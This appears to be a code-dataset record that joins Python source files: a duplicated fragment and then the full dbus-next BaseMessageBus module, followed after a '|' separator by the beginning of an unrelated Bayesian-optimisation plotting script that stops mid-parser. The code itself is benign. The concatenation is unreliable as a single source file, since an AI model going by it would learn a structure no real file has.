'getting and setting properties with an empty interface string is not supported yet'
)
elif msg.path not in self._path_exports:
raise DBusError(ErrorType.UNKNOWN_OBJECT, f'no interfaces at path: "{msg.path}"')
match = [iface for iface in self._path_exports[msg.path] if iface.name == interface_name]
if not match:
if interface_name in [
'org.freedesktop.DBus.Properties', 'org.freedesktop.DBus.Introspectable',
'org.freedesktop.DBus.Peer', 'org.freedesktop.DBus.ObjectManager'
]:
# the standard interfaces do not have properties
if msg.member == 'Get' or msg.member == 'Set':
prop_name = msg.body[1]
raise DBusError(
ErrorType.UNKNOWN_PROPERTY,
f'interface "{interface_name}" does not have property "{prop_name}"')
elif msg.member == 'GetAll':
send_reply(Message.new_method_return(msg, 'a{sv}', [{}]))
return
else:
assert False
raise DBusError(
ErrorType.UNKNOWN_INTERFACE,
f'could not find an interface "{interface_name}" at path: "{msg.path}"')
interface = match[0]
properties = ServiceInterface._get_properties(interface)
if msg.member == 'Get' or msg.member == 'Set':
prop_name = msg.body[1]
match = [prop for prop in properties if prop.name == prop_name and not prop.disabled]
if not match:
raise DBusError(
ErrorType.UNKNOWN_PROPERTY,
f'interface "{interface_name}" does not have property "{prop_name}"')
prop = match[0]
if msg.member == 'Get':
if not prop.access.readable():
raise DBusError(ErrorType.UNKNOWN_PROPERTY,
'the property does not have read access')
prop_value = getattr(interface, prop.prop_getter.__name__)
send_reply(
Message.new_method_return(msg, 'v', [Variant(prop.signature, prop_value)]))
elif msg.member == 'Set':
if not prop.access.writable():
raise DBusError(ErrorType.PROPERTY_READ_ONLY, 'the property is readonly')
value = msg.body[2]
if value.signature != prop.signature:
raise DBusError(ErrorType.INVALID_SIGNATURE,
f'wrong signature for property. expected "{prop.signature}"')
assert prop.prop_setter
setattr(interface, prop.prop_setter.__name__, value.value)
send_reply(Message.new_method_return(msg))
elif msg.member == 'GetAll':
result = self._get_all_properties(interface)
send_reply(Message.new_method_return(msg, 'a{sv}', [result]))
else:
assert False
def _get_all_properties(self, interface):
result = {}
for prop in ServiceInterface._get_properties(interface):
if prop.disabled or not prop.access.readable():
continue
result[prop.name] = Variant(prop.signature, getattr(interface,
prop.prop_getter.__name__))
return result
def _init_high_level_client(self):
'''The high level client is initialized when the first proxy object is
gotten. Currently just sets up the match rules for the name owner cache
so signals can be routed to the right objects.'''
if self._high_level_client_initialized:
return
self._high_level_client_initialized = True
def add_match_notify(msg, err):
if err:
logging.error(
f'add match request failed. match="{self._name_owner_match_rule}", {err}')
if msg.message_type == MessageType.ERROR:
logging.error(
f'add match request failed. match="{self._name_owner_match_rule}", {msg.body[0]}'
)
self._call(
Message(destination='org.freedesktop.DBus',
interface='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
member='AddMatch',
signature='s',
body=[self._name_owner_match_rule]), add_match_notify)
def _add_match_rule(self, match_rule):
'''Add a match rule. Match rules added by this function are refcounted
and must be removed by _remove_match_rule(). This is for use in the
high level client only.'''
if match_rule == self._name_owner_match_rule:
return
if match_rule in self._match_rules:
self._match_rules[match_rule] += 1
return
self._match_rules[match_rule] = 1
def add_match_notify(msg, err):
if err:
logging.error(f'add match request failed. match="{match_rule}", {err}')
if msg.message_type == MessageType.ERROR:
logging.error(f'add match request failed. match="{match_rule}", {msg.body[0]}')
self._call(
Message(destination='org.freedesktop.DBus',
interface='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
member='AddMatch',
signature='s',
body=[match_rule]), add_match_notify)
def _remove_match_rule(self, match_rule):
'''Remove a match rule added with _add_match_rule(). This is for use in
the high level client only.'''
if match_rule == self._name_owner_match_rule:
return
if match_rule in self._match_rules:
self._match_rules[match_rule] -= 1
if self._match_rules[match_rule] > 0:
return
del self._match_rules[match_rule]
def remove_match_notify(msg, err):
if err:
logging.error(f'remove match request failed. match="{match_rule}", {err}')
if msg.message_type == MessageType.ERROR:
logging.error(f'remove match request failed. match="{match_rule}", {msg.body[0]}')
self._call(
Message(destination='org.freedesktop.DBus',
interface='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
member='RemoveMatch',
signature='s',
body=[match_rule]), remove_match_notify)
| from ._private.address import get_bus_address, parse_address
from .message import Message
from .constants import BusType, MessageFlag, MessageType, ErrorType, NameFlag, RequestNameReply, ReleaseNameReply
from .service import ServiceInterface
from .validators import assert_object_path_valid, assert_bus_name_valid
from .errors import DBusError, InvalidAddressError
from .signature import Variant
from .proxy_object import BaseProxyObject
from . import introspection as intr
from contextlib import suppress
import inspect
import traceback
import socket
import logging
import xml.etree.ElementTree as ET
from typing import Type, Callable, Optional, Union
class BaseMessageBus:
"""An abstract class to manage a connection to a DBus message bus.
The message bus class is the entry point into all the features of the
library. It sets up a connection to the DBus daemon and exposes an
interface to send and receive messages and expose services.
This class is not meant to be used directly by users. For more information,
see the documentation for the implementation of the message bus you plan to
use.
:param bus_type: The type of bus to connect to. Affects the search path for
the bus address.
:type bus_type: :class:`BusType <dbus_next.BusType>`
:param bus_address: A specific bus address to connect to. Should not be
used under normal circumstances.
:type bus_address: str
:param ProxyObject: The proxy object implementation for this message bus.
Must be passed in by an implementation that supports the high-level client.
:type ProxyObject: Type[:class:`BaseProxyObject
<dbus_next.proxy_object.BaseProxyObject>`]
:ivar unique_name: The unique name of the message bus connection. It will
be :class:`None` until the message bus connects.
:vartype unique_name: str
"""
def __init__(self,
bus_address: Optional[str] = None,
bus_type: BusType = BusType.SESSION,
ProxyObject: Optional[Type[BaseProxyObject]] = None):
self.unique_name = None
self._disconnected = False
self._method_return_handlers = {}
# buffer messages until connect
self._buffered_messages = []
self._serial = 0
self._user_message_handlers = []
# the key is the name and the value is the unique name of the owner.
# This cache is kept up to date by the NameOwnerChanged signal and is
# used to route messages to the correct proxy object. (used for the
# high level client only)
self._name_owners = {}
# used for the high level service
self._path_exports = {}
self._bus_address = parse_address(bus_address) if bus_address else parse_address(
get_bus_address(bus_type))
# the bus implementations need this rule for the high level client to
# work correctly.
self._name_owner_match_rule = "sender='org.freedesktop.DBus',interface='org.freedesktop.DBus',path='/org/freedesktop/DBus',member='NameOwnerChanged'"
# _match_rules: the keys are match rules and the values are ref counts
# (used for the high level client only)
self._match_rules = {}
self._high_level_client_initialized = False
self._ProxyObject = ProxyObject
# machine id is lazy loaded
self._machine_id = None
self._setup_socket()
def export(self, path: str, interface: ServiceInterface):
"""Export the service interface on this message bus to make it available
to other clients.
:param path: The object path to export this interface on.
:type path: str
:param interface: The service interface to export.
:type interface: :class:`ServiceInterface
<dbus_next.service.ServiceInterface>`
:raises:
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
- :class:`ValueError` - If an interface with this name is already exported on the message bus at this path
"""
assert_object_path_valid(path)
if not isinstance(interface, ServiceInterface):
raise TypeError('interface must be a ServiceInterface')
if path not in self._path_exports:
self._path_exports[path] = []
for f in self._path_exports[path]:
if f.name == interface.name:
raise ValueError(
f'An interface with this name is already exported on this bus at path "{path}": "{interface.name}"'
)
self._path_exports[path].append(interface)
ServiceInterface._add_bus(interface, self)
self._emit_interface_added(path, interface)
def unexport(self, path: str, interface: Optional[Union[ServiceInterface, str]] = None):
"""Unexport the path or service interface to make it no longer
available to clients.
:param path: The object path to unexport.
:type path: str
:param interface: The interface instance or the name of the interface
to unexport. If ``None``, unexport every interface on the path.
:type interface: :class:`ServiceInterface
<dbus_next.service.ServiceInterface>` or str or None
:raises:
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
"""
assert_object_path_valid(path)
if type(interface) not in [str, type(None)] and not isinstance(interface, ServiceInterface):
raise TypeError('interface must be a ServiceInterface or interface name')
if path not in self._path_exports:
return
exports = self._path_exports[path]
if type(interface) is str:
try:
interface = next(iface for iface in exports if iface.name == interface)
except StopIteration:
return
removed_interfaces = []
if interface is None:
del self._path_exports[path]
for iface in filter(lambda e: not self._has_interface(e), exports):
removed_interfaces.append(iface.name)
ServiceInterface._remove_bus(iface, self)
else:
for i, iface in enumerate(exports):
if iface is interface:
removed_interfaces.append(iface.name)
del self._path_exports[path][i]
if not self._path_exports[path]:
del self._path_exports[path]
if not self._has_interface(iface):
ServiceInterface._remove_bus(iface, self)
break
self._emit_interface_removed(path, removed_interfaces)
def introspect(self, bus_name: str, path: str,
callback: Callable[[Optional[intr.Node], Optional[Exception]], None]):
"""Get introspection data for the node at the given path from the given
bus name.
Calls the standard ``org.freedesktop.DBus.Introspectable.Introspect``
on the bus for the path.
:param bus_name: The name to introspect.
:type bus_name: str
:param path: The path to introspect.
:type path: str
:param callback: A callback that will be called with the introspection
data as a :class:`Node <dbus_next.introspection.Node>`.
:type callback: :class:`Callable`
:raises:
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
"""
BaseMessageBus._check_callback_type(callback)
def reply_notify(reply, err):
try:
BaseMessageBus._check_method_return(reply, err, 's')
result = intr.Node.parse(reply.body[0])
except Exception as e:
callback(None, e)
return
callback(result, None)
self._call(
Message(destination=bus_name,
path=path,
interface='org.freedesktop.DBus.Introspectable',
member='Introspect'), reply_notify)
def _emit_interface_added(self, path, interface):
"""Emit the ``org.freedesktop.DBus.ObjectManager.InterfacesAdded`` signal.
This signal is intended to be used to alert clients when
a new interface has been added.
:param path: Path of exported object.
:type path: str
:param interface: Exported service interface.
:type interface: :class:`ServiceInterface
<dbus_next.service.ServiceInterface>`
"""
if self._disconnected:
return
body = {interface.name: {}}
properties = interface._get_properties(interface)
for prop in properties:
with suppress(Exception):
body[interface.name][prop.name] = Variant(prop.signature,
prop.prop_getter(interface))
self.send(
Message.new_signal(path=path,
interface='org.freedesktop.DBus.ObjectManager',
member='InterfacesAdded',
signature='oa{sa{sv}}',
body=[path, body]))
def _emit_interface_removed(self, path, removed_interfaces):
"""Emit the ``org.freedesktop.DBus.ObjectManager.InterfacesRemoved` signal.
This signal is intended to be used to alert clients when
a interface has been removed.
:param path: Path of removed (unexported) object.
:type path: str
:param removed_interfaces: List of unexported service interfaces.
:type removed_interfaces: list[str]
"""
if self._disconnected:
return
self.send(
Message.new_signal(path=path,
interface='org.freedesktop.DBus.ObjectManager',
member='InterfacesRemoved',
signature='oas',
body=[path, removed_interfaces]))
def request_name(self,
name: str,
flags: NameFlag = NameFlag.NONE,
callback: Optional[Callable[[Optional[RequestNameReply], Optional[Exception]],
None]] = None):
"""Request that this message bus owns the given name.
:param name: The name to request.
:type name: str
:param flags: Name flags that affect the behavior of the name request.
:type flags: :class:`NameFlag <dbus_next.NameFlag>`
:param callback: A callback that will be called with the reply of the
request as a :class:`RequestNameReply <dbus_next.RequestNameReply>`.
:type callback: :class:`Callable`
:raises:
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
"""
assert_bus_name_valid(name)
if callback is not None:
BaseMessageBus._check_callback_type(callback)
def reply_notify(reply, err):
try:
BaseMessageBus._check_method_return(reply, err, 'u')
result = RequestNameReply(reply.body[0])
except Exception as e:
callback(None, e)
return
callback(result, None)
if type(flags) is not NameFlag:
flags = NameFlag(flags)
self._call(
Message(destination='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus',
member='RequestName',
signature='su',
body=[name, flags]), reply_notify if callback else None)
def release_name(self,
name: str,
callback: Optional[Callable[[Optional[ReleaseNameReply], Optional[Exception]],
None]] = None):
"""Request that this message bus release the given name.
:param name: The name to release.
:type name: str
:param callback: A callback that will be called with the reply of the
release request as a :class:`ReleaseNameReply
<dbus_next.ReleaseNameReply>`.
:type callback: :class:`Callable`
:raises:
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
"""
assert_bus_name_valid(name)
if callback is not None:
BaseMessageBus._check_callback_type(callback)
def reply_notify(reply, err):
try:
BaseMessageBus._check_method_return(reply, err, 'u')
result = ReleaseNameReply(reply.body[0])
except Exception as e:
callback(None, e)
return
callback(result, None)
self._call(
Message(destination='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus',
member='ReleaseName',
signature='s',
body=[name]), reply_notify if callback else None)
def get_proxy_object(self, bus_name: str, path: str,
introspection: Union[intr.Node, str, ET.Element]) -> BaseProxyObject:
"""Get a proxy object for the path exported on the bus that owns the
name. The object is expected to export the interfaces and nodes
specified in the introspection data.
This is the entry point into the high-level client.
:param bus_name: The name on the bus to get the proxy object for.
:type bus_name: str
:param path: The path on the client for the proxy object.
:type path: str
:param introspection: XML introspection data used to build the
interfaces on the proxy object.
:type introspection: :class:`Node <dbus_next.introspection.Node>` or str or :class:`ElementTree`
:returns: A proxy object for the given path on the given name.
:rtype: :class:`BaseProxyObject <dbus_next.proxy_object.BaseProxyObject>`
:raises:
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
- :class:`InvalidIntrospectionError <dbus_next.InvalidIntrospectionError>` - If the introspection data for the node is not valid.
"""
if self._ProxyObject is None:
raise Exception('the message bus implementation did not provide a proxy object class')
self._init_high_level_client()
return self._ProxyObject(bus_name, path, introspection, self)
def disconnect(self):
"""Disconnect the message bus by closing the underlying connection asynchronously.
All pending and future calls will error with a connection error.
"""
self._sock.shutdown(socket.SHUT_RDWR)
def next_serial(self) -> int:
"""Get the next serial for this bus. This can be used as the ``serial``
attribute of a :class:`Message <dbus_next.Message>` to manually handle
the serial of messages.
:returns: The next serial for the bus.
:rtype: int
"""
self._serial += 1
return self._serial
def add_message_handler(self, handler: Callable[[Message], Optional[Union[Message, bool]]]):
"""Add a custom message handler for incoming messages.
The handler should be a callable that takes a :class:`Message
<dbus_next.Message>`. If the message is a method call, you may return
another Message as a reply and it will be marked as handled. You may
also return ``True`` to mark the message as handled without sending a
reply.
:param handler: A handler that will be run for every message the bus
connection received.
:type handler: :class:`Callable` or None
"""
error_text = 'a message handler must be callable with a single parameter'
if not callable(handler):
raise TypeError(error_text)
handler_signature = inspect.signature(handler)
if len(handler_signature.parameters) != 1:
raise TypeError(error_text)
self._user_message_handlers.append(handler)
def remove_message_handler(self, handler: Callable[[Message], Optional[Union[Message, bool]]]):
"""Remove a message handler that was previously added by
:func:`add_message_handler()
<dbus_next.message_bus.BaseMessageBus.add_message_handler>`.
:param handler: A message handler.
:type handler: :class:`Callable`
"""
for i, h in enumerate(self._user_message_handlers):
if h == handler:
del self._user_message_handlers[i]
break
def send(self, msg: Message) -> None:
"""Asynchronously send a message on the message bus.
:param msg: The message to send.
:type msg: :class:`Message <dbus_next.Message>`
:raises:
- :class:`Exception` - If a connection error occurred.
"""
raise NotImplementedError('the "send" method must be implemented in the inheriting class')
def _finalize(self, err):
'''should be called after the socket disconnects with the disconnection
error to clean up resources and put the bus in a disconnected state'''
if self._disconnected:
return
self._disconnected = True
for handler in self._method_return_handlers.values():
handler(None, err)
self._method_return_handlers.clear()
for path in list(self._path_exports.keys()):
self.unexport(path)
self._user_message_handlers.clear()
def _has_interface(self, interface: ServiceInterface) -> bool:
for _, exports in self._path_exports.items():
for iface in exports:
if iface is interface:
return True
return False
def _interface_signal_notify(self, interface, interface_name, member, signature, body):
path = None
for p, ifaces in self._path_exports.items():
for i in ifaces:
if i is interface:
path = p
if path is None:
raise Exception('Could not find interface on bus (this is a bug in dbus-next)')
self.send(
Message.new_signal(path=path,
interface=interface_name,
member=member,
signature=signature,
body=body))
def _introspect_export_path(self, path):
assert_object_path_valid(path)
if path in self._path_exports:
node = intr.Node.default(path)
for interface in self._path_exports[path]:
node.interfaces.append(interface.introspect())
else:
node = intr.Node(path)
children = set()
for export_path in self._path_exports:
try:
child_path = export_path.split(path, maxsplit=1)[1]
except IndexError:
continue
child_path = child_path.lstrip('/')
child_name = child_path.split('/', maxsplit=1)[0]
children.add(child_name)
node.nodes = [intr.Node(name) for name in children if name]
return node
def _setup_socket(self):
err = None
for transport, options in self._bus_address:
filename = None
ip_addr = ''
ip_port = 0
if transport == 'unix':
self._sock = socket.socket(socket.AF_UNIX,
socket.SOCK_STREAM | socket.SOCK_NONBLOCK)
self._stream = self._sock.makefile('rwb')
self._fd = self._sock.fileno()
if 'path' in options:
filename = options['path']
elif 'abstract' in options:
filename = f'\0{options["abstract"]}'
else:
raise InvalidAddressError('got unix transport with unknown path specifier')
try:
self._sock.connect(filename)
break
except Exception as e:
err = e
elif transport == 'tcp':
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._stream = self._sock.makefile('rwb')
self._fd = self._sock.fileno()
if 'host' in options:
ip_addr = options['host']
if 'port' in options:
ip_port = int(options['port'])
try:
self._sock.connect((ip_addr, ip_port))
self._sock.setblocking(False)
break
except Exception as e:
err = e
else:
raise InvalidAddressError(f'got unknown address transport: {transport}')
if err:
raise err
def _call(self, msg, callback):
BaseMessageBus._check_callback_type(callback)
if not msg.serial:
msg.serial = self.next_serial()
def reply_notify(reply, err):
if reply:
self._name_owners[msg.destination] = reply.sender
callback(reply, err)
self.send(msg)
if msg.flags & MessageFlag.NO_REPLY_EXPECTED:
callback(None, None)
else:
self._method_return_handlers[msg.serial] = reply_notify
@staticmethod
def _check_callback_type(callback):
"""Raise a TypeError if the user gives an invalid callback as a parameter"""
text = 'a callback must be callable with two parameters'
if not callable(callback):
raise TypeError(text)
fn_signature = inspect.signature(callback)
if len(fn_signature.parameters) != 2:
raise TypeError(text)
@staticmethod
def _check_method_return(msg, err, signature):
if err:
raise err
elif msg.message_type == MessageType.METHOD_RETURN and msg.signature == signature:
return
elif msg.message_type == MessageType.ERROR:
raise DBusError._from_message(msg)
else:
raise DBusError(ErrorType.INTERNAL_ERROR, 'invalid message type for method call', msg)
def _on_message(self, msg):
try:
self._process_message(msg)
except Exception as e:
logging.error(
f'got unexpected error processing a message: {e}.\n{traceback.format_exc()}')
def _send_reply(self, msg):
bus = self
class SendReply:
def __enter__(self):
return self
def __call__(self, reply):
if msg.flags & MessageFlag.NO_REPLY_EXPECTED:
return
bus.send(reply)
def __exit__(self, exc_type, exc_value, tb):
if exc_type is None:
return
if issubclass(exc_type, DBusError):
self(exc_value._as_message(msg))
return True
if issubclass(exc_type, Exception):
self(
Message.new_error(
msg, ErrorType.SERVICE_ERROR,
f'The service interface raised an error: {exc_value}.\n{traceback.format_tb(tb)}'
))
return True
return SendReply()
def _process_message(self, msg):
handled = False
for handler in self._user_message_handlers:
try:
result = handler(msg)
if result:
if type(result) is Message:
self.send(result)
handled = True
break
except DBusError as e:
if msg.message_type == MessageType.METHOD_CALL:
self.send(e._as_message(msg))
handled = True
break
else:
logging.error(
f'A message handler raised an exception: {e}.\n{traceback.format_exc()}')
except Exception as e:
logging.error(
f'A message handler raised an exception: {e}.\n{traceback.format_exc()}')
if msg.message_type == MessageType.METHOD_CALL:
self.send(
Message.new_error(
msg, ErrorType.INTERNAL_ERROR,
f'An internal error occurred: {e}.\n{traceback.format_exc()}'))
handled = True
break
if msg.message_type == MessageType.SIGNAL:
if msg._matches(sender='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus',
member='NameOwnerChanged'):
[name, old_owner, new_owner] = msg.body
if new_owner:
self._name_owners[name] = new_owner
elif name in self._name_owners:
del self._name_owners[name]
elif msg.message_type == MessageType.METHOD_CALL:
if not handled:
handler = self._find_message_handler(msg)
send_reply = self._send_reply(msg)
with send_reply:
if handler:
handler(msg, send_reply)
else:
send_reply(
Message.new_error(
msg, ErrorType.UNKNOWN_METHOD,
f'{msg.interface}.{msg.member} with signature "{msg.signature}" could not be found'
))
else:
# An ERROR or a METHOD_RETURN
if msg.reply_serial in self._method_return_handlers:
if not handled:
handler = self._method_return_handlers[msg.reply_serial]
handler(msg, None)
del self._method_return_handlers[msg.reply_serial]
@classmethod
def _make_method_handler(cls, interface, method):
def handler(msg, send_reply):
result = method.fn(interface, *msg.body)
body = ServiceInterface._fn_result_to_body(result, method.out_signature_tree)
send_reply(Message.new_method_return(msg, method.out_signature, body))
return handler
def _find_message_handler(self, msg):
handler = None
if msg._matches(interface='org.freedesktop.DBus.Introspectable',
member='Introspect',
signature=''):
handler = self._default_introspect_handler
elif msg._matches(interface='org.freedesktop.DBus.Properties'):
handler = self._default_properties_handler
elif msg._matches(interface='org.freedesktop.DBus.Peer'):
if msg._matches(member='Ping', signature=''):
handler = self._default_ping_handler
elif msg._matches(member='GetMachineId', signature=''):
handler = self._default_get_machine_id_handler
elif msg._matches(interface='org.freedesktop.DBus.ObjectManager',
member='GetManagedObjects'):
handler = self._default_get_managed_objects_handler
else:
for interface in self._path_exports.get(msg.path, []):
for method in ServiceInterface._get_methods(interface):
if method.disabled:
continue
if msg._matches(interface=interface.name,
member=method.name,
signature=method.in_signature):
handler = self._make_method_handler(interface, method)
break
if handler:
break
return handler
def _default_introspect_handler(self, msg, send_reply):
introspection = self._introspect_export_path(msg.path).tostring()
send_reply(Message.new_method_return(msg, 's', [introspection]))
def _default_ping_handler(self, msg, send_reply):
send_reply(Message.new_method_return(msg))
def _default_get_machine_id_handler(self, msg, send_reply):
if self._machine_id:
send_reply(Message.new_method_return(msg, 's', self._machine_id))
return
def reply_handler(reply, err):
if err:
# the bus has been disconnected, cannot send a reply
return
if reply.message_type == MessageType.METHOD_RETURN:
self._machine_id = reply.body[0]
send_reply(Message.new_method_return(msg, 's', [self._machine_id]))
elif reply.message_type == MessageType.ERROR:
send_reply(Message.new_error(msg, reply.error_name, reply.body))
else:
send_reply(Message.new_error(msg, ErrorType.FAILED, 'could not get machine_id'))
self._call(
Message(destination='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus.Peer',
member='GetMachineId'), reply_handler)
def _default_get_managed_objects_handler(self, msg, send_reply):
result = {}
for node in self._path_exports:
if not node.startswith(msg.path + '/') and msg.path != '/':
continue
result[node] = {}
for interface in self._path_exports[node]:
result[node][interface.name] = self._get_all_properties(interface)
send_reply(Message.new_method_return(msg, 'a{oa{sa{sv}}}', [result]))
def _default_properties_handler(self, msg, send_reply):
methods = {'Get': 'ss', 'Set': 'ssv', 'GetAll': 's'}
if msg.member not in methods or methods[msg.member] != msg.signature:
raise DBusError(
ErrorType.UNKNOWN_METHOD,
f'properties interface doesn\'t have method "{msg.member}" with signature "{msg.signature}"'
)
interface_name = msg.body[0]
if interface_name == '':
raise DBusError(
ErrorType.NOT_SUPPORTED,
'getting and setting properties with an empty interface string is not supported yet'
)
elif msg.path not in self._path_exports:
raise DBusError(ErrorType.UNKNOWN_OBJECT, f'no interfaces at path: "{msg.path}"')
match = [iface for iface in self._path_exports[msg.path] if iface.name == interface_name]
if not match:
if interface_name in [
'org.freedesktop.DBus.Properties', 'org.freedesktop.DBus.Introspectable',
'org.freedesktop.DBus.Peer', 'org.freedesktop.DBus.ObjectManager'
]:
# the standard interfaces do not have properties
if msg.member == 'Get' or msg.member == 'Set':
prop_name = msg.body[1]
raise DBusError(
ErrorType.UNKNOWN_PROPERTY,
f'interface "{interface_name}" does not have property "{prop_name}"')
elif msg.member == 'GetAll':
send_reply(Message.new_method_return(msg, 'a{sv}', [{}]))
return
else:
assert False
raise DBusError(
ErrorType.UNKNOWN_INTERFACE,
f'could not find an interface "{interface_name}" at path: "{msg.path}"')
interface = match[0]
properties = ServiceInterface._get_properties(interface)
if msg.member == 'Get' or msg.member == 'Set':
prop_name = msg.body[1]
match = [prop for prop in properties if prop.name == prop_name and not prop.disabled]
if not match:
raise DBusError(
ErrorType.UNKNOWN_PROPERTY,
f'interface "{interface_name}" does not have property "{prop_name}"')
prop = match[0]
if msg.member == 'Get':
if not prop.access.readable():
raise DBusError(ErrorType.UNKNOWN_PROPERTY,
'the property does not have read access')
prop_value = getattr(interface, prop.prop_getter.__name__)
send_reply(
Message.new_method_return(msg, 'v', [Variant(prop.signature, prop_value)]))
elif msg.member == 'Set':
if not prop.access.writable():
raise DBusError(ErrorType.PROPERTY_READ_ONLY, 'the property is readonly')
value = msg.body[2]
if value.signature != prop.signature:
raise DBusError(ErrorType.INVALID_SIGNATURE,
f'wrong signature for property. expected "{prop.signature}"')
assert prop.prop_setter
setattr(interface, prop.prop_setter.__name__, value.value)
send_reply(Message.new_method_return(msg))
elif msg.member == 'GetAll':
result = self._get_all_properties(interface)
send_reply(Message.new_method_return(msg, 'a{sv}', [result]))
else:
assert False
def _get_all_properties(self, interface):
result = {}
for prop in ServiceInterface._get_properties(interface):
if prop.disabled or not prop.access.readable():
continue
result[prop.name] = Variant(prop.signature, getattr(interface,
prop.prop_getter.__name__))
return result
def _init_high_level_client(self):
'''The high level client is initialized when the first proxy object is
gotten. Currently just sets up the match rules for the name owner cache
so signals can be routed to the right objects.'''
if self._high_level_client_initialized:
return
self._high_level_client_initialized = True
def add_match_notify(msg, err):
if err:
logging.error(
f'add match request failed. match="{self._name_owner_match_rule}", {err}')
if msg.message_type == MessageType.ERROR:
logging.error(
f'add match request failed. match="{self._name_owner_match_rule}", {msg.body[0]}'
)
self._call(
Message(destination='org.freedesktop.DBus',
interface='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
member='AddMatch',
signature='s',
body=[self._name_owner_match_rule]), add_match_notify)
def _add_match_rule(self, match_rule):
'''Add a match rule. Match rules added by this function are refcounted
and must be removed by _remove_match_rule(). This is for use in the
high level client only.'''
if match_rule == self._name_owner_match_rule:
return
if match_rule in self._match_rules:
self._match_rules[match_rule] += 1
return
self._match_rules[match_rule] = 1
def add_match_notify(msg, err):
if err:
logging.error(f'add match request failed. match="{match_rule}", {err}')
if msg.message_type == MessageType.ERROR:
logging.error(f'add match request failed. match="{match_rule}", {msg.body[0]}')
self._call(
Message(destination='org.freedesktop.DBus',
interface='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
member='AddMatch',
signature='s',
body=[match_rule]), add_match_notify)
def _remove_match_rule(self, match_rule):
'''Remove a match rule added with _add_match_rule(). This is for use in
the high level client only.'''
if match_rule == self._name_owner_match_rule:
return
if match_rule in self._match_rules:
self._match_rules[match_rule] -= 1
if self._match_rules[match_rule] > 0:
return
del self._match_rules[match_rule]
def remove_match_notify(msg, err):
if err:
logging.error(f'remove match request failed. match="{match_rule}", {err}')
if msg.message_type == MessageType.ERROR:
logging.error(f'remove match request failed. match="{match_rule}", {msg.body[0]}')
self._call(
Message(destination='org.freedesktop.DBus',
interface='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
member='RemoveMatch',
signature='s',
body=[match_rule]), remove_match_notify)
|
# -------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License (MIT). See LICENSE in the repo root for license information.
# -------------------------------------------------------------------------------------------
"""
Convergence plotting script for comparing multiple experiments that allows for aggregating over multiple randomised
sub-runs (runs with same configurations, but a different random seed). The randomly seeded sub-runs are expected
as sub-directories of the experiment directories.
Example command:
python plot_convergence_multiple_runs.py --experiment_dirs /path/to/experiment/one /path/to/experiment/two
--experiment_labels "Experiment 1" "Experiment 2" --objective_column "Output"
--init_data_filename "initial_batch.csv"
"""
import argparse
import logging
from functools import reduce
from pathlib import Path
from typing import List
import matplotlib.pyplot as plt
import pandas as pd
from abex.plotting.convergence_plotting import (
ConvergencePlotStyles,
plot_multirun_convergence,
plot_multirun_convergence_per_sample,
)
BATCH_COLUMN = "Batch Number"
RUN_NAME_COLUMN = "Experiment Name"
SEED_COLUMN = "Sub-run Number"
def create_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description="Plot convergence over several iterations of Bayesian Optimization, for possibly multiple runs."
"Assumes one file corresponds to one batch collected."
)
parser.add_argument(
"--experiment_dirs",
type=Path,
nargs="+",
required=True,
help="A sequence of directories corresponding to different configurations for an experiment "
"(different runs). Each directory should contain multiple sub-directories with multiple sub-runs"
"corresponding to different random seeds.",
)
parser.add_argument(
"--experiment_labels",
type=str,
nargs="+",
help="A sequence of names to give to each experiment (collection of sub-runs). These will be used to "
"label the experiments on resulting plots. These should appear in the"
"same order as --experiment_dirs. If not specified, folder names will be used as experiment labels.",
)
parser.add_argument(
"--objective_column",
type=str,
default="Crosstalk Ratio",
help="The name of the objective column in data files.",
)
parser.add_argument(
"--init_data_filename",
type=Path,
required=True,
help="The filename for the initial data file (the other files in each seed-run subdirectory "
"will be treated as batches).",
)
parser.add_argument(
"--results_dir", type=Path, default=Path("Results"), help="The directory in which to save the resulting plot."
)
parser.add_argument(
"--output_path",
type=Path,
default=None,
help="If specified, the resulting plot will be saved at this location "
"(otherwise a plot name will be generated).",
)
parser.add_argument("--title", type=str, default=None, help="The title for the plot.")
parser.add_argument(
"--no_boxplot",
action="store_true",
help="Whether to remove the boxplot for the final plot (useful if the plot gets too cluttered).",
)
parser.add_argument(
"--no_scatter",
action="store_true",
help="Whether to remove the scatter points for the final plot (useful if the plot gets too cluttered).",
)
parser.add_argument(
"--max_batch_number",
type=int,
default=None,
help="Whether to clip the x-axis to a given number of batches.",
)
parser.add_argument(
"--make_per_sample_plot",
action="store_true",
help="Whether to make a per-sample plot as well in which x-axis is 'num. samples collected' rather than "
"'num. batches collected'.",
)
parser.add_argument(
"--output_scale",
type=str,
default=None,
choices=["symlog", "log", "linear"],
help="What scale to use for the objective on the plot. Default to log if all objective values are positive, "
"symlog otherwise.",
)
parser.add_argument(
"--styled_lines",
action="store_true",
help="Whether to give each line a different style (dashed, solid, double-dashed, ...) in addition to it "
"being a different colour.",
)
parser.add_argument(
"--styled_subset",
type=str,
action="append",
nargs="+",
help="Style a subset (specified by run name) of the plotted traces to distinguish them from other traces.",
)
parser.add_argument(
"--style_category_name",
type=str,
default="Category",
help="Name to use on the legend for the style categories.",
)
parser.add_argument(
"--styled_subset_names",
type=str,
nargs="+",
